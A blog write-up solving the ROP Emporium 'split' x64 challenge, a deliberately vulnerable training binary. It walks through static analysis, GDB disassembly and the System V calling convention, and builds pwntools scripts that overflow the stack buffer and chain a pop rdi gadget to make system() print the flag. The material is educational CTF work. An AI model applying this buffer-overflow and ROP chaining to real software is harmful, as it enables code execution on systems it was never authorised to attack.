Jason Turley's Website

Rop Emporium split x64 Writeup

Welcome to the second challenge from Rop Emporium. You can read how to solve challenge one here.


Download the binary and unzip it.

Yep, it’s another unstripped x64 ELF.

$ file split 
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped

Confirm that NX is enabled. Meaning we must do ROP.

$ checksec split
[*] '/home/kali/ropemporium/_split/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

The challenge page tells us that we need to find the string “/bin/cat flag” and system() inside the binary. We likely will need to add their addresses on the stack for our rop exploit to work. It also tells us to keep in mind that x64 has a diff calling convention than x86.

Find the address of useful strings:

$ rabin2 -z split
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

We see the address for “/bin/cat flag.txt” is located at 0x00601060 within the data section. Note that the programmer’s code (i.e. main) is in the text section.

Look for useful functions:

$ rabin2 -qs split | grep -ve imp -e ' 0 '

0x00601078 8 stdout
0x00601080 1 completed.7698
0x004006e8 90 pwnme
0x00400742 17 usefulFunction
0x004007d0 2 __libc_csu_fini
0x00601078 8 stdout@@GLIBC_2.2.5
0x004007e0 4 _IO_stdin_used
0x00601060 18 usefulString
0x00400760 101 __libc_csu_init
0x004005e0 2 _dl_relocate_static_pie
0x004005b0 43 _start
0x00400697 81 main

The pwnme, usefulFunction and usefulString functions all seem relevant.

That’s enough static analysis for now. Time to run the program:

$ python -c "print('Z' * 100)" | ./split 
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
Segmentation fault

Let’s analyze this in GDB

Debugging

Disassemble the main function. Just like in the first challenge, it calls a few puts() and calls pwnme. Let’s focus our attention on the vulnerable pwnme function.

disass pwnme

We see that this function allocates a buffer of 32 bytes (rbp-0x20) and the read function reads in up to 96 (0x60) bytes.

Set a breakpoint at pwnme and then run info files to see the address space for data and text sections (the below output has been trimmed for readability)

Entry point: 0x4005b0
    0x00000000004005b0 - 0x00000000004007d2 is .text  
    0x00000000004007e0 - 0x0000000000400852 is .rodata  
    0x0000000000601050 - 0x0000000000601072 is .data
    0x0000000000601078 - 0x0000000000601088 is .bss     

Cool. Let’s disassemble the usefulFunction symbol that we saw in the text section earlier

gef  disass usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:     push   rbp
   0x0000000000400743 <+1>:     mov    rbp,rsp
   0x0000000000400746 <+4>:     mov    edi,0x40084a
   0x000000000040074b <+9>:     call   0x400560 <system@plt>
   0x0000000000400750 <+14>:    nop
   0x0000000000400751 <+15>:    pop    rbp
   0x0000000000400752 <+16>:    ret
End of assembler dump.
gef  x/s 0x40084a
0x40084a:       "/bin/ls"

Ok, much like the ret2win function from the first challenge, this calls system with the parameter being stored in edi. We print out efi and see that it stores “/bin/ls”. We will want this to be the address of usefulString ("/bin/cat flag.txt") stored at address 0x00601060

Test exploit

Let’s do a test exploit to return into the usefulFunction. Reuse the code from challenge one

#!/usr/bin/env python
from pwn import *

io = process("./split")

payload = b"A" * 32         # 32 byte buffer 
payload += p64(0x400752)    # addr of ret for stack alignment
payload += p64(0x400742)    # addr of usefulFunction() 

io.sendline(payload)
print(io.recvall().decode())

Hmmm idk why files are not listed out from the call to /bin/sh. I confirmed it takes 40 bytes to get to the rip

$ python exploit.py 
[+] Starting program './split': Done
[+] Recieving all data: Done (87B)
[*] Stopped program './split'
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!

Use the other method for stack alignment and go deeper in the usefulFunction and it works!

#!/usr/bin/env python
from pwn import *

io = process("./split")

payload = b"A" * 40         # 32 byte buffer + 8 byte base pointer (rbp)
payload += p64(0x400746)    # go deeper in the usefulFunction

io.sendline(payload)
print(io.recvall().decode())

We are able to call the function

$ python exploit2.py 
[+] Starting program './split': Done
[+] Recieving all data: Done (134B)
[*] Program './split' stopped with exit code 0
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
core  exploit2.py  exploit.py  flag.txt  split

Sweet baby! Now we need to load the address of usefulString. Time to research x64 calling conventions

x64 Calling Conventions

Ref: https://en.wikipedia.org/wiki/X86_calling_conventions

x86-64 calling conventions take advantage of the added register space to pass more arguments in registers. Also, the number of incompatible calling conventions has been reduced. There are two in common use.

  1. Microsoft x64 calling convention (used on Windows)
  2. System V AMD64 ABI (followed on Linux, Solaris, FreeBSD, macOS)

System V AMD64 ABI

Here is a diagram of the x64 calling convention from Eli Bendersky’s blog:

x64_stack_frame

We see that the first argument, a, is stored in register RDI.

So we will need to set the register RDI/EDI to the address of usefulString and then call system. I think we will need to write usefulString address onto the stack, find a pop rdi or pop edi gadget, and then call the system function within usefulFunction.

Here is the exploit so far. It does not generate a segfault.

#!/usr/bin/env python
from pwn import *

io = gdb.debug("./split")

payload = b"A" * 32         # junk for buffer 
payload += p64(0x400752)	# ret
payload += p64(0x00601060)  # addr of usefulString ("/bin/cat flag.txt")
payload += p64(0x40074b)    # addr of system 

io.sendline(payload)
print(io.recvall().decode())

$rsp : 0x00007ffd8cd3f7f8 → 0x0000000000601060 → "/bin/cat flag.txt"

Our target is on the top of the stack. I think I need to swap the ret instruction with pop rdi; ret. Time to look for a rop gadget within pwntools

# Create a ROP object
elf = ELF("./split")
rop = ROP(elf)

# rop.rdi.address = Gadget(0x4007c3, ['pop rdi', 'ret'], ['rdi'], 0x10)
pop_rdi = rop.rdi.address  

Final Exploit

For the final exploit, I had to increase the padding to 40 bytes of junk to fill the buffer and rbp.

#!/usr/bin/env python
from pwn import *

context.log_level = 'warn'

# Load binary
prog = process("./split")

# Create a ROP object
elf = ELF("./split")
rop = ROP(elf)

# rop.rdi.address = Gadget(0x4007c3, ['pop rdi', 'ret'], ['rdi'], 0x10)
pop_rdi = rop.rdi.address  
bin_cat = 0x00601060
system  = 0x40074b

payload = b"A" * 40  
payload += p64(pop_rdi)
payload += p64(bin_cat)
payload += p64(system)

prog.recvuntil(">")

prog.sendline(payload)
print(prog.clean().decode())

Run to get the flag:

$ python exploit.py 
 Thank you!
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> 

#binary-exploitation #reversing #writeups